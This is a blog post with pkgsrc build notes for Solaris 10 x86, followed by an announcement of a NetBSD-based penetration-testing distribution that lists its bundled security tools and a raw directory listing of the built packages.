Continuation of the previous pkgsrc setup on Solaris 10 x86 (64bit); I wanted to keep specific notes here separately, which might help some if they struggle.

ISSUES: /usr/pkgsrc/devel/libidn2    (Does not build with gcc6 from pkgsrc, it builds fine with gcc44) So for certain things in pkgsrc we will switch between gcc44 and gcc6 – all this is set in /usr/pkg/etc/mk.conf

ISSUES: /usr/pkgsrc/lang/python37 (Does not build with gcc6 nor gcc44 ) there are following errors produced after compilation

So one solution is to switch the whole pkgsrc environment to use python36 (which works and compiles well on Solaris10 x86)  so we will add the following to the /usr/pkg/etc/mk.conf   (and clean up all the possible work directories that could still reference to python37 by # bmake clean clean-depends in a directory where we were building)

PYTHON_VERSION_DEFAULT=36

ISSUES: /usr/pkgsrc/devel/git-gitk does not build with gcc44 nor gcc6 but is not really needed, its just part of a metapackage /usr/pkgsrc/devel/git , real git client compiles and installs fine

After we finish compiling git make sure we run the mozilla-rootcerts script

Change the #shebang in /usr/pkgsrc/sbin/mozilla-rootcerts to some 
newer shell (like the pkgsrc bash5) and do not use the /bin/sh from Solaris10 

# mozilla-rootcerts install

 

ISSUE: /usr/pkgsrc/textproc/opensp  Does not compile with gcc44 but builds fine with gcc6 so we need to switch it in /usr/pkg/etc/mk.conf

This is WIP (Work in Progress) more things should show up here later on

SANDOKAN – NetBSD based Penetration Testers system

$
0
0

I wanted to create my own non-Linux based InfoSec orientated system (There is Kali Linux of course which is great) and lately I have seen a Windows based InfoSec system called Commando VM ( https://github.com/fireeye/commando-vm )

My private project is called Sandokan (named after the notorious fictional pirate of the Southern Chinese sea  ( https://en.wikipedia.org/wiki/Sandokan ) and I believe the name should stand well to its purpose :)  Check out https://www.sandokan.tk later on

Here is a sneak-peek preview of it ( I will be of course uploading the live ISO/USB online for anybody to try and play around later on). Sandokan will be free since the nature of all the tools used here is also free.

The specifics are as follows

NetBSD 8.1  (amd64) with pre-installed pkgsrc-current (September 2019) packages with focus on Information Security testing. These include a wide array of compilers, tools, frameworks and additional programs of interest that I find useful in my line of work (InfoSec). Key tools are:

Fluxbox or IceWM desktop environment to keep things simple

Metasploit Framework -current (updatable via ./msfupdate)  https://github.com/rapid7/metasploit-framework

BeEF (Browser Exploitation Framework) https://github.com/beefproject/beef

WhatWeb https://github.com/urbanadventurer/WhatWeb

SQLMap https://github.com/sqlmapproject/sqlmap

BurpSuite (community but the paid version works well on NetBSD too)

Ghidra from NSA https://github.com/NationalSecurityAgency/ghidra

Various compilers – GCC 5/6/9, MinGW 6.0 , Mono 6.0, CLANG/LLVM 8.0.1, RUST 1.36,

Network tools – tcpdump, Nmap, wireshark, kismet, ettercap-ng

Various browsers – Firefox (Nightly 67.0.4), Opera 12.16, Dillo, Links, Elinks

Emulators – Qemu, Dosbox, Wine

Additional InfoSec tools include :

Currently Im testing this on an old Panasonic CF-19 Toughbook where it performs really well.

As time will allow, I will be releasing the initial version on https://www.sandokan.tk  so stay tuned if interested :)

Here is a full list of tools installed from the pkgsrc framework

-rw-r–r– 1 root wheel 11601502 Sep 2 20:06 /usr/pkgsrc/packages/All/ImageMagick-7.0.8.61.tgz
-rw-r–r– 1 root wheel 10685722 Sep 1 00:19 /usr/pkgsrc/packages/All/ImageMagick6-6.9.9.38nb11.tgz
-rw-r–r– 1 root wheel 554661 Sep 2 20:15 /usr/pkgsrc/packages/All/SDL-1.2.15nb28.tgz
-rw-r–r– 1 root wheel 1377561 Sep 2 06:46 /usr/pkgsrc/packages/All/SDL2-2.0.10.tgz
-rw-r–r– 1 root wheel 150287 Sep 3 20:59 /usr/pkgsrc/packages/All/SDL2_mixer-2.0.4.tgz
-rw-r–r– 1 root wheel 21621 Sep 3 21:01 /usr/pkgsrc/packages/All/SDL2_net-2.0.1.tgz
-rw-r–r– 1 root wheel 29427 Sep 3 07:41 /usr/pkgsrc/packages/All/SDL2_ttf-2.0.15.tgz
-rw-r–r– 1 root wheel 21077 Sep 2 20:19 /usr/pkgsrc/packages/All/SDL_net-1.2.8nb1.tgz
-rw-r–r– 1 root wheel 205476 Sep 2 20:18 /usr/pkgsrc/packages/All/SDL_sound-1.0.3nb6.tgz
-rw-r–r– 1 root wheel 1180679 Sep 1 21:33 /usr/pkgsrc/packages/All/alsa-lib-1.1.4.1.tgz
-rw-r–r– 1 root wheel 286749 Sep 4 18:37 /usr/pkgsrc/packages/All/argp-1.3nb1.tgz
-rw-r–r– 1 root wheel 410297 Sep 1 11:37 /usr/pkgsrc/packages/All/asciidoc-8.6.10nb1.tgz
-rw-r–r– 1 root wheel 80562 Aug 31 03:31 /usr/pkgsrc/packages/All/at-spi2-atk-2.33.2.tgz
-rw-r–r– 1 root wheel 268832 Aug 31 03:30 /usr/pkgsrc/packages/All/at-spi2-core-2.33.2nb1.tgz
-rw-r–r– 1 root wheel 80806 Sep 3 23:18 /usr/pkgsrc/packages/All/aterm-1.0.1nb1.tgz
-rw-r–r– 1 root wheel 447092 Aug 31 03:16 /usr/pkgsrc/packages/All/atk-2.33.3.tgz
-rw-r–r– 1 root wheel 912631 Aug 30 22:47 /usr/pkgsrc/packages/All/autoconf-2.69nb9.tgz
-rw-r–r– 2 root wheel 634017 Sep 4 20:41 /usr/pkgsrc/packages/All/autoconf-archive-2016.09.16.tgz
-rw-r–r– 1 root wheel 252810 Sep 1 15:07 /usr/pkgsrc/packages/All/autoconf213-2.13nb8.tgz
-rw-r–r– 1 root wheel 679289 Aug 31 03:41 /usr/pkgsrc/packages/All/automake-1.16.1nb1.tgz
-rw-r–r– 1 root wheel 2846226 Aug 30 19:54 /usr/pkgsrc/packages/All/bash-5.0.9.tgz
-rw-r–r– 1 root wheel 16164 Sep 4 00:02 /usr/pkgsrc/packages/All/bcrypt-1.1.tgz
-rw-r–r– 1 root wheel 192550 Sep 1 21:28 /usr/pkgsrc/packages/All/binwalk-2.1.1nb1.tgz
-rw-r–r– 1 root wheel 739294 Aug 30 19:50 /usr/pkgsrc/packages/All/bison-3.2.4nb1.tgz
-rw-r–r– 1 root wheel 347787 Aug 31 22:32 /usr/pkgsrc/packages/All/boehm-gc-8.0.4.tgz
-rw-r–r– 2 root wheel 14353813 Aug 30 23:38 /usr/pkgsrc/packages/All/boost-headers-1.71.0nb1.tgz
-rw-r–r– 2 root wheel 198167 Aug 30 23:32 /usr/pkgsrc/packages/All/boost-jam-1.71.0.tgz
-rw-r–r– 2 root wheel 11402464 Aug 31 02:35 /usr/pkgsrc/packages/All/boost-libs-1.71.0.tgz
-rw-r–r– 1 root wheel 308213 Aug 30 20:01 /usr/pkgsrc/packages/All/bsdtar-3.3.3.tgz
-rw-r–r– 1 root wheel 1736936 Aug 31 05:25 /usr/pkgsrc/packages/All/cairo-1.16.0.tgz
-rw-r–r– 1 root wheel 25933 Aug 31 05:26 /usr/pkgsrc/packages/All/cairo-gobject-1.16.0nb3.tgz
-rw-r–r– 1 root wheel 1492707 Sep 1 15:45 /usr/pkgsrc/packages/All/capstone-3.0.5rc2.tgz
-rw-r–r– 1 root wheel 1706990 Sep 1 12:18 /usr/pkgsrc/packages/All/cbindgen-0.9.0.tgz
-rw-r–r– 1 root wheel 1406059 Sep 2 00:03 /usr/pkgsrc/packages/All/cdrtools-3.01nb1.tgz
-rw-r–r– 1 root wheel 2857027 Sep 3 21:06 /usr/pkgsrc/packages/All/chocolate-doom-3.0.0nb1.tgz
-rw-r–r– 1 root wheel 68783218 Sep 2 02:51 /usr/pkgsrc/packages/All/clang-8.0.1.tgz
-rw-r–r– 1 root wheel 10993112 Aug 31 04:56 /usr/pkgsrc/packages/All/cmake-3.15.2nb1.tgz
-rw-r–r– 1 root wheel 36528 Sep 4 18:38 /usr/pkgsrc/packages/All/cmocka-1.1.3.tgz
-rw-r–r– 1 root wheel 216935 Sep 3 01:25 /usr/pkgsrc/packages/All/consolekit-1.2.1nb3.tgz
-rw-r–r– 1 root wheel 36652 Sep 4 00:44 /usr/pkgsrc/packages/All/csvutils-0.9.3.tgz
-rw-r–r– 1 root wheel 8500227 Sep 1 22:09 /usr/pkgsrc/packages/All/cups-base-2.2.12.tgz
-rw-r–r– 1 root wheel 1056938 Aug 31 03:58 /usr/pkgsrc/packages/All/curl-7.65.3nb3.tgz
-rw-r–r– 1 root wheel 48861 Aug 30 19:22 /usr/pkgsrc/packages/All/cwrappers-20180325.tgz
-rw-r–r– 1 root wheel 747136 Aug 31 03:29 /usr/pkgsrc/packages/All/dbus-1.12.16.tgz
-rw-r–r– 1 root wheel 5432870 Sep 2 20:17 /usr/pkgsrc/packages/All/dejavu-ttf-2.37.tgz
-rw-r–r– 1 root wheel 60930 Aug 31 05:32 /usr/pkgsrc/packages/All/desktop-file-utils-0.24.tgz
-rw-r–r– 1 root wheel 52955 Aug 30 19:23 /usr/pkgsrc/packages/All/digest-20190127.tgz
-rw-r–r– 1 root wheel 484645 Sep 4 00:06 /usr/pkgsrc/packages/All/dillo-3.0.5nb5.tgz
-rw-r–r– 1 root wheel 473567 Sep 1 12:45 /usr/pkgsrc/packages/All/docbook-4.5.tgz
-rw-r–r– 1 root wheel 300805 Aug 30 23:06 /usr/pkgsrc/packages/All/docbook-xml-4.5.tgz
-rw-r–r– 1 root wheel 2580647 Aug 30 23:07 /usr/pkgsrc/packages/All/docbook-xsl-1.79.1nb4.tgz
-rw-r–r– 1 root wheel 524916 Sep 4 07:27 /usr/pkgsrc/packages/All/dopewars-1.5.12nb31.tgz
-rw-r–r– 1 root wheel 1032411 Sep 2 20:28 /usr/pkgsrc/packages/All/dosbox-0.74.3nb1.tgz
-rw-r–r– 1 root wheel 183730 Sep 4 00:39 /usr/pkgsrc/packages/All/dsniff-nox11-2.3nb9.tgz
-rw-r–r– 1 root wheel 566858 Sep 1 12:45 /usr/pkgsrc/packages/All/dsssl-docbook-modular-1.79nb11.tgz
-rw-r–r– 1 root wheel 1064631 Aug 31 22:39 /usr/pkgsrc/packages/All/elinks-0.12rc6nb13.tgz
-rw-r–r– 1 root wheel 189741 Sep 1 22:13 /usr/pkgsrc/packages/All/enca-1.15.tgz
-rw-r–r– 1 root wheel 2534848 Aug 31 22:09 /usr/pkgsrc/packages/All/eterm-0.9.5nb19.tgz
-rw-r–r– 1 root wheel 534503 Sep 1 09:35 /usr/pkgsrc/packages/All/ettercap-NG-0.7.3nb14.tgz
-rw-r–r– 2 root wheel 138699 Aug 31 00:08 /usr/pkgsrc/packages/All/exctags-5.8nb2.tgz
-rw-r–r– 1 root wheel 758060 Sep 3 19:37 /usr/pkgsrc/packages/All/faad2-2.8.8nb1.tgz
-rw-r–r– 1 root wheel 9851372 Sep 1 22:56 /usr/pkgsrc/packages/All/ffmpeg1-1.2.12nb12.tgz
-rw-r–r– 1 root wheel 18668234 Sep 3 22:37 /usr/pkgsrc/packages/All/ffmpeg3-3.4.6nb3.tgz
-rw-r–r– 1 root wheel 19858711 Sep 2 07:34 /usr/pkgsrc/packages/All/ffmpeg4-4.2nb1.tgz
-rw-r–r– 1 root wheel 52943 Sep 3 22:38 /usr/pkgsrc/packages/All/ffmpegthumbnailer-2.2.0nb1.tgz
-rw-r–r– 1 root wheel 1229961 Aug 31 23:35 /usr/pkgsrc/packages/All/fftw-3.3.8nb2.tgz
-rw-r–r– 1 root wheel 671652 Sep 2 20:08 /usr/pkgsrc/packages/All/flac-1.3.3.tgz
-rw-r–r– 1 root wheel 2048764 Sep 4 00:04 /usr/pkgsrc/packages/All/fltk-1.3.5.tgz
-rw-r–r– 1 root wheel 329527 Sep 3 19:39 /usr/pkgsrc/packages/All/fluidsynth-1.1.6nb2.tgz
-rw-r–r– 1 root wheel 826035 Aug 30 20:09 /usr/pkgsrc/packages/All/fluxbox-1.3.7nb1.tgz
-rw-r–r– 1 root wheel 1074160 Sep 2 19:05 /usr/pkgsrc/packages/All/fontconfig-2.13.1.tgz
-rw-r–r– 1 root wheel 273964 Sep 2 21:20 /usr/pkgsrc/packages/All/freeglut-3.0.0nb1.tgz
-rw-r–r– 1 root wheel 466805 Sep 1 22:58 /usr/pkgsrc/packages/All/freerdp-1.0.2nb35.tgz
-rw-r–r– 1 root wheel 919683 Aug 31 03:34 /usr/pkgsrc/packages/All/freetype2-2.10.1.tgz
-rw-r–r– 1 root wheel 88620 Aug 31 03:38 /usr/pkgsrc/packages/All/fribidi-0.19.7.tgz
-rw-r–r– 1 root wheel 196006 Sep 1 21:15 /usr/pkgsrc/packages/All/fuse-2.9.3.tgz
-rw-r–r– 1 root wheel 66653 Sep 1 21:16 /usr/pkgsrc/packages/All/fuse-ntfs-3g-2017.3.23.tgz
-rw-r–r– 2 root wheel 1403422 Aug 30 23:01 /usr/pkgsrc/packages/All/gawk-5.0.0.tgz
-rw-r–r– 1 root wheel 79906398 Sep 1 23:58 /usr/pkgsrc/packages/All/gcc6-6.5.0nb3.tgz
-rw-r–r– 1 root wheel 5940806 Sep 2 02:51 /usr/pkgsrc/packages/All/gcc6-libs-6.5.0nb3.tgz
-rw-r–r– 1 root wheel 205418 Sep 1 12:23 /usr/pkgsrc/packages/All/gdbm-1.14.1.tgz
-rw-r–r– 1 root wheel 38746 Aug 31 02:54 /usr/pkgsrc/packages/All/gdbus-codegen-2.60.6.tgz
-rw-r–r– 1 root wheel 797953 Aug 31 03:24 /usr/pkgsrc/packages/All/gdk-pixbuf2-2.38.1.tgz
-rw-r–r– 1 root wheel 15109 Aug 30 23:21 /usr/pkgsrc/packages/All/getopt-1.1.6.tgz
-rw-r–r– 1 root wheel 60950 Aug 31 02:59 /usr/pkgsrc/packages/All/gettext-lib-0.20.1.tgz
-rw-r–r– 1 root wheel 3834417 Aug 31 03:13 /usr/pkgsrc/packages/All/gettext-tools-0.20.1.tgz
-rw-r–r– 1 root wheel 1288 Aug 31 23:54 /usr/pkgsrc/packages/All/ghostscript-9.05nb19.tgz
-rw-r–r– 1 root wheel 15977577 Aug 31 23:54 /usr/pkgsrc/packages/All/ghostscript-agpl-9.27nb3.tgz
-rw-r–r– 1 root wheel 827359 Aug 31 23:39 /usr/pkgsrc/packages/All/ghostscript-fonts-8.11nb3.tgz
-rw-r–r– 2 root wheel 43442 Sep 4 20:41 /usr/pkgsrc/packages/All/giblib-1.2.4nb16.tgz
-rw-r–r– 1 root wheel 39474 Aug 31 22:03 /usr/pkgsrc/packages/All/giflib-5.1.4.tgz
-rw-r–r– 1 root wheel 1399 Sep 1 11:54 /usr/pkgsrc/packages/All/git-2.23.0.tgz
-rw-r–r– 1 root wheel 16915430 Sep 1 11:37 /usr/pkgsrc/packages/All/git-base-2.23.0nb1.tgz
-rw-r–r– 1 root wheel 16849 Sep 1 11:38 /usr/pkgsrc/packages/All/git-contrib-2.23.0.tgz
-rw-r–r– 1 root wheel 769473 Sep 1 11:54 /usr/pkgsrc/packages/All/git-docs-2.23.0.tgz
-rw-r–r– 1 root wheel 237055 Sep 4 07:26 /usr/pkgsrc/packages/All/glib-1.2.10nb11.tgz
-rw-r–r– 1 root wheel 4481883 Aug 31 00:05 /usr/pkgsrc/packages/All/glib2-2.60.6.tgz
-rw-r–r– 1 root wheel 17665 Aug 30 22:45 /usr/pkgsrc/packages/All/glib2-tools-2.60.6.tgz
-rw-r–r– 1 root wheel 282872 Aug 30 20:01 /usr/pkgsrc/packages/All/gmake-4.2.1nb1.tgz
-rw-r–r– 1 root wheel 852219 Aug 30 22:54 /usr/pkgsrc/packages/All/gmp-6.1.2.tgz
-rw-r–r– 2 root wheel 497714 Aug 30 23:22 /usr/pkgsrc/packages/All/gnome-doc-utils-0.20.10nb3.tgz
-rw-r–r– 1 root wheel 4071942 Sep 4 00:19 /usr/pkgsrc/packages/All/gnupg2-2.2.17nb1.tgz
-rw-r–r– 1 root wheel 3654589 Sep 1 21:59 /usr/pkgsrc/packages/All/gnutls-3.6.8nb2.tgz
-rw-r–r– 1 root wheel 1655242 Aug 31 02:53 /usr/pkgsrc/packages/All/gobject-introspection-1.60.2.tgz
-rw-r–r– 1 root wheel 474931 Sep 2 06:51 /usr/pkgsrc/packages/All/googletest-1.8.1.tgz
-rw-r–r– 1 root wheel 78297 Aug 31 03:32 /usr/pkgsrc/packages/All/gperf-3.1.tgz
-rw-r–r– 1 root wheel 1410196 Sep 4 00:35 /usr/pkgsrc/packages/All/gpsd-3.19.tgz
-rw-r–r– 1 root wheel 110543 Aug 31 04:58 /usr/pkgsrc/packages/All/graphite2-1.3.13.tgz
-rw-r–r– 1 root wheel 276740 Aug 31 00:07 /usr/pkgsrc/packages/All/gsed-4.7.tgz
-rw-r–r– 1 root wheel 4829037 Sep 4 07:19 /usr/pkgsrc/packages/All/gst-plugins1-base-1.16.0nb1.tgz
-rw-r–r– 1 root wheel 10221606 Sep 4 07:04 /usr/pkgsrc/packages/All/gstreamer1-1.16.0nb1.tgz
-rw-r–r– 1 root wheel 1072268 Aug 31 12:22 /usr/pkgsrc/packages/All/gtar-base-1.32nb1.tgz
-rw-r–r– 2 root wheel 714671 Aug 31 02:50 /usr/pkgsrc/packages/All/gtk-doc-1.29nb4.tgz
-rw-r–r– 1 root wheel 1876733 Aug 31 05:11 /usr/pkgsrc/packages/All/harfbuzz-2.6.0.tgz
-rw-r–r– 1 root wheel 154580 Aug 30 22:47 /usr/pkgsrc/packages/All/help2man-1.47.10nb1.tgz
-rw-r–r– 1 root wheel 12273 Aug 31 05:31 /usr/pkgsrc/packages/All/hicolor-icon-theme-0.17.tgz
-rw-r–r– 1 root wheel 38186 Sep 1 12:20 /usr/pkgsrc/packages/All/http-parser-2.9.2.tgz
-rw-r–r– 1 root wheel 952117 Sep 3 23:14 /usr/pkgsrc/packages/All/icewm-1.2.38pre2nb1.tgz
-rw-r–r– 1 root wheel 27272012 Aug 31 01:21 /usr/pkgsrc/packages/All/icu-64.2nb1.tgz
-rw-r–r– 1 root wheel 27080 Sep 3 21:19 /usr/pkgsrc/packages/All/imake-1.0.8.tgz
-rw-r–r– 1 root wheel 767050 Aug 31 22:05 /usr/pkgsrc/packages/All/imlib2-1.5.1.tgz
-rw-r–r– 1 root wheel 44918 Aug 30 22:46 /usr/pkgsrc/packages/All/intltool-0.51.0nb4.tgz
-rw-r–r– 1 root wheel 717764 Sep 1 19:31 /usr/pkgsrc/packages/All/irssi-1.2.1nb1.tgz
-rw-r–r– 1 root wheel 19828 Sep 1 12:45 /usr/pkgsrc/packages/All/iso8879-1986nb8.tgz
-rw-r–r– 1 root wheel 20917 Aug 30 23:26 /usr/pkgsrc/packages/All/itstool-2.0.6nb1.tgz
-rw-r–r– 1 root wheel 117100 Aug 31 23:41 /usr/pkgsrc/packages/All/jbig2dec-0.16nb1.tgz
-rw-r–r– 1 root wheel 105184 Aug 31 03:17 /usr/pkgsrc/packages/All/jbigkit-2.1.tgz
-rw-r–r– 1 root wheel 677380 Sep 2 06:50 /usr/pkgsrc/packages/All/jemalloc-5.2.1nb1.tgz
-rw-r–r– 1 root wheel 5304632 Sep 4 00:10 /usr/pkgsrc/packages/All/john-1.8.0.tgz
-rw-r–r– 1 root wheel 470857 Aug 31 03:18 /usr/pkgsrc/packages/All/jpeg-9cnb1.tgz
-rw-r–r– 1 root wheel 617262 Sep 1 09:24 /usr/pkgsrc/packages/All/kismet-2008.05.01nb48.tgz
-rw-r–r– 1 root wheel 596235 Sep 1 22:19 /usr/pkgsrc/packages/All/lame-3.100nb1.tgz
-rw-r–r– 1 root wheel 437489 Aug 31 23:19 /usr/pkgsrc/packages/All/lcms2-2.9.tgz
-rw-r–r– 1 root wheel 175158 Sep 2 02:59 /usr/pkgsrc/packages/All/libIDL-0.8.14nb4.tgz
-rw-r–r– 1 root wheel 97281 Aug 31 03:37 /usr/pkgsrc/packages/All/libXft-2.3.3.tgz
-rw-r–r– 1 root wheel 1870806 Sep 2 06:43 /usr/pkgsrc/packages/All/libaom-1.0.0nb2.tgz
-rw-r–r– 1 root wheel 208793 Sep 1 22:14 /usr/pkgsrc/packages/All/libass-0.14.0nb2.tgz
-rw-r–r– 1 root wheel 138918 Sep 4 00:05 /usr/pkgsrc/packages/All/libassuan-2.5.3.tgz
-rw-r–r– 1 root wheel 253439 Aug 31 22:07 /usr/pkgsrc/packages/All/libast-0.7nb12.tgz
-rw-r–r– 1 root wheel 107454 Aug 31 22:32 /usr/pkgsrc/packages/All/libatomic_ops-7.6.10.tgz
-rw-r–r– 1 root wheel 324653 Sep 2 06:53 /usr/pkgsrc/packages/All/libbluray-1.1.2.tgz
-rw-r–r– 1 root wheel 140813 Sep 1 12:20 /usr/pkgsrc/packages/All/libcares-1.15.0nb1.tgz
-rw-r–r– 1 root wheel 165257 Sep 1 21:35 /usr/pkgsrc/packages/All/libcfg+-0.7.0.tgz
-rw-r–r– 2 root wheel 323646 Sep 4 21:08 /usr/pkgsrc/packages/All/libcroco-0.6.8.tgz
-rw-r–r– 1 root wheel 18715 Sep 4 00:44 /usr/pkgsrc/packages/All/libcsv-3.0.3.tgz
-rw-r–r– 1 root wheel 33597 Sep 3 00:08 /usr/pkgsrc/packages/All/libdaemon-0.14nb1.tgz
-rw-r–r– 1 root wheel 107931 Sep 3 00:07 /usr/pkgsrc/packages/All/libdvdnav-6.0.0.tgz
-rw-r–r– 1 root wheel 164830 Sep 3 00:07 /usr/pkgsrc/packages/All/libdvdread-6.0.1.tgz
-rw-r–r– 1 root wheel 730936 Aug 31 05:31 /usr/pkgsrc/packages/All/libepoxy-1.4.3nb2.tgz
-rw-r–r– 1 root wheel 1517429 Sep 1 19:51 /usr/pkgsrc/packages/All/libevent-2.1.8nb1.tgz
-rw-r–r– 1 root wheel 35118 Aug 30 22:35 /usr/pkgsrc/packages/All/libffi-3.2.1nb4.tgz
-rw-r–r– 1 root wheel 1122640 Aug 30 23:12 /usr/pkgsrc/packages/All/libgcrypt-1.8.4.tgz
-rw-r–r– 1 root wheel 376194 Aug 30 23:08 /usr/pkgsrc/packages/All/libgpg-error-1.36.tgz
-rw-r–r– 1 root wheel 527870 Sep 3 22:55 /usr/pkgsrc/packages/All/libgsf-1.14.46.tgz
-rw-r–r– 1 root wheel 275055 Aug 31 22:35 /usr/pkgsrc/packages/All/libidn-1.34nb1.tgz
-rw-r–r– 1 root wheel 223383 Aug 31 03:53 /usr/pkgsrc/packages/All/libidn2-2.2.0.tgz
-rw-r–r– 1 root wheel 251441 Sep 4 00:06 /usr/pkgsrc/packages/All/libksba-1.3.5nb1.tgz
-rw-r–r– 1 root wheel 136546 Aug 31 22:42 /usr/pkgsrc/packages/All/liblinear-2.11nb1.tgz
-rw-r–r– 1 root wheel 66855 Sep 2 19:44 /usr/pkgsrc/packages/All/liblqr-0.4.1nb6.tgz
-rw-r–r– 1 root wheel 46247 Aug 31 23:22 /usr/pkgsrc/packages/All/libltdl-2.4.6.tgz
-rw-r–r– 1 root wheel 141327 Sep 3 19:40 /usr/pkgsrc/packages/All/libmad-0.15.1bnb2.tgz
-rw-r–r– 1 root wheel 100957 Sep 4 18:36 /usr/pkgsrc/packages/All/libmaxminddb-1.3.2.tgz
-rw-r–r– 1 root wheel 324037 Sep 2 20:10 /usr/pkgsrc/packages/All/libmikmod-3.3.11.1.tgz
-rw-r–r– 1 root wheel 371982 Sep 3 20:52 /usr/pkgsrc/packages/All/libmodplug-0.8.9.0.tgz
-rw-r–r– 1 root wheel 120560 Sep 3 19:41 /usr/pkgsrc/packages/All/libmpeg2-0.5.1.tgz
-rw-r–r– 1 root wheel 58503 Sep 4 00:38 /usr/pkgsrc/packages/All/libnet10-1.0.2anb3.tgz
-rw-r–r– 1 root wheel 257733 Sep 1 09:32 /usr/pkgsrc/packages/All/libnet11-1.1.2.1.tgz
-rw-r–r– 1 root wheel 29373 Sep 4 00:39 /usr/pkgsrc/packages/All/libnids-1.24.tgz
-rw-r–r– 1 root wheel 420020 Sep 1 21:13 /usr/pkgsrc/packages/All/libntfs-2017.3.23.tgz
-rw-r–r– 1 root wheel 217608 Sep 1 22:15 /usr/pkgsrc/packages/All/libogg-1.3.3.tgz
-rw-r–r– 1 root wheel 507602 Sep 3 20:57 /usr/pkgsrc/packages/All/libopus-1.3.1.tgz
-rw-r–r– 1 root wheel 27187 Aug 31 23:41 /usr/pkgsrc/packages/All/libpaper-1.1.28.tgz
-rw-r–r– 1 root wheel 492440 Sep 4 00:40 /usr/pkgsrc/packages/All/libproxy-0.4.15.tgz
-rw-r–r– 1 root wheel 112966 Aug 31 22:28 /usr/pkgsrc/packages/All/libpsl-0.20.2nb4.tgz
-rw-r–r– 1 root wheel 2727872 Sep 3 21:00 /usr/pkgsrc/packages/All/libsamplerate-0.1.9.tgz
-rw-r–r– 1 root wheel 1298811 Sep 4 00:28 /usr/pkgsrc/packages/All/libslang2-2.2.4nb3.tgz
-rw-r–r– 1 root wheel 3574353 Sep 4 18:36 /usr/pkgsrc/packages/All/libsmi-0.5.0.tgz
-rw-r–r– 1 root wheel 594189 Sep 3 01:28 /usr/pkgsrc/packages/All/libsndfile-1.0.28nb3.tgz
-rw-r–r– 1 root wheel 19538 Sep 2 20:49 /usr/pkgsrc/packages/All/libspiro-0.5.20150702.tgz
-rw-r–r– 1 root wheel 254416 Sep 4 18:41 /usr/pkgsrc/packages/All/libssh-0.87.tgz
-rw-r–r– 1 root wheel 140260 Sep 1 21:36 /usr/pkgsrc/packages/All/libtasn1-4.13.tgz
-rw-r–r– 1 root wheel 830889 Sep 1 22:18 /usr/pkgsrc/packages/All/libtheora-1.1.1nb2.tgz
-rw-r–r– 1 root wheel 518452 Aug 30 19:58 /usr/pkgsrc/packages/All/libtool-base-2.4.6nb2.tgz
-rw-r–r– 1 root wheel 1516552 Aug 31 03:52 /usr/pkgsrc/packages/All/libunistring-0.9.10.tgz
-rw-r–r– 1 root wheel 20554 Sep 2 06:38 /usr/pkgsrc/packages/All/libusb-compat-0.1.7.tgz
-rw-r–r– 1 root wheel 88626 Sep 1 21:34 /usr/pkgsrc/packages/All/libusb1-1.0.22nb1.tgz
-rw-r–r– 1 root wheel 39085 Aug 30 22:37 /usr/pkgsrc/packages/All/libuuid-2.32.1.tgz
-rw-r–r– 1 root wheel 714728 Aug 31 03:43 /usr/pkgsrc/packages/All/libuv-1.31.0.tgz
-rw-r–r– 1 root wheel 238511 Sep 1 22:23 /usr/pkgsrc/packages/All/libva-2.3.0.tgz
-rw-r–r– 1 root wheel 105834 Sep 1 22:21 /usr/pkgsrc/packages/All/libvdpau-1.2.tgz
-rw-r–r– 1 root wheel 647500 Sep 1 22:16 /usr/pkgsrc/packages/All/libvorbis-1.3.6nb1.tgz
-rw-r–r– 1 root wheel 2655602 Sep 1 22:37 /usr/pkgsrc/packages/All/libvpx-1.8.1nb1.tgz
-rw-r–r– 1 root wheel 919741 Aug 31 23:26 /usr/pkgsrc/packages/All/libwebp-1.0.3.tgz
-rw-r–r– 1 root wheel 164217 Sep 3 22:59 /usr/pkgsrc/packages/All/libxfce4util-4.14.0.tgz
-rw-r–r– 1 root wheel 341485 Sep 4 00:44 /usr/pkgsrc/packages/All/libxkbcommon-0.8.4.tgz
-rw-r–r– 1 root wheel 2335914 Aug 30 23:06 /usr/pkgsrc/packages/All/libxml2-2.9.9.tgz
-rw-r–r– 1 root wheel 687366 Aug 30 23:13 /usr/pkgsrc/packages/All/libxslt-1.1.33nb1.tgz
-rw-r–r– 1 root wheel 120507 Sep 1 12:04 /usr/pkgsrc/packages/All/libyaml-0.2.2nb1.tgz
-rw-r–r– 1 root wheel 642435 Sep 3 23:54 /usr/pkgsrc/packages/All/links-2.20.tgz
-rw-r–r– 1 root wheel 72282391 Aug 31 21:14 /usr/pkgsrc/packages/All/llvm-8.0.1nb1.tgz
-rw-r–r– 1 root wheel 7428 Sep 1 12:18 /usr/pkgsrc/packages/All/lockf-1.tgz
-rw-r–r– 1 root wheel 391540 Aug 31 22:36 /usr/pkgsrc/packages/All/lua52-5.2.4nb1.tgz
-rw-r–r– 1 root wheel 231108 Sep 1 19:41 /usr/pkgsrc/packages/All/lz4-1.9.1.tgz
-rw-r–r– 1 root wheel 82464 Aug 31 22:26 /usr/pkgsrc/packages/All/lzip-1.21.tgz
-rw-r–r– 1 root wheel 155136 Aug 31 05:16 /usr/pkgsrc/packages/All/lzo-2.10.tgz
-rw-r–r– 1 root wheel 228693 Aug 30 19:47 /usr/pkgsrc/packages/All/m4-1.4.18nb2.tgz
-rw-r–r– 1 root wheel 2520636 Sep 4 00:35 /usr/pkgsrc/packages/All/mc-4.8.22nb1.tgz
-rw-r–r– 1 root wheel 1355 Sep 3 13:32 /usr/pkgsrc/packages/All/mingw-w64-6.0.0.tgz
-rw-r–r– 1 root wheel 8196034 Sep 3 10:29 /usr/pkgsrc/packages/All/mingw-w64-i686-binutils-2.32.tgz
-rw-r–r– 1 root wheel 3761854 Sep 3 11:45 /usr/pkgsrc/packages/All/mingw-w64-i686-crt-6.0.0nb1.tgz
-rw-r–r– 1 root wheel 88103041 Sep 3 13:32 /usr/pkgsrc/packages/All/mingw-w64-i686-gcc-9.1.0nb1.tgz
-rw-r–r– 1 root wheel 21233293 Sep 3 11:32 /usr/pkgsrc/packages/All/mingw-w64-i686-gcc-bootstrap-9.1.0.tgz
-rw-r–r– 1 root wheel 6938103 Sep 3 10:30 /usr/pkgsrc/packages/All/mingw-w64-i686-headers-6.0.0.tgz
-rw-r–r– 1 root wheel 9261557 Sep 3 06:56 /usr/pkgsrc/packages/All/mingw-w64-x86_64-binutils-2.32.tgz
-rw-r–r– 1 root wheel 5168948 Sep 3 08:29 /usr/pkgsrc/packages/All/mingw-w64-x86_64-crt-6.0.0nb1.tgz
-rw-r–r– 1 root wheel 91401971 Sep 3 10:20 /usr/pkgsrc/packages/All/mingw-w64-x86_64-gcc-9.1.0nb1.tgz
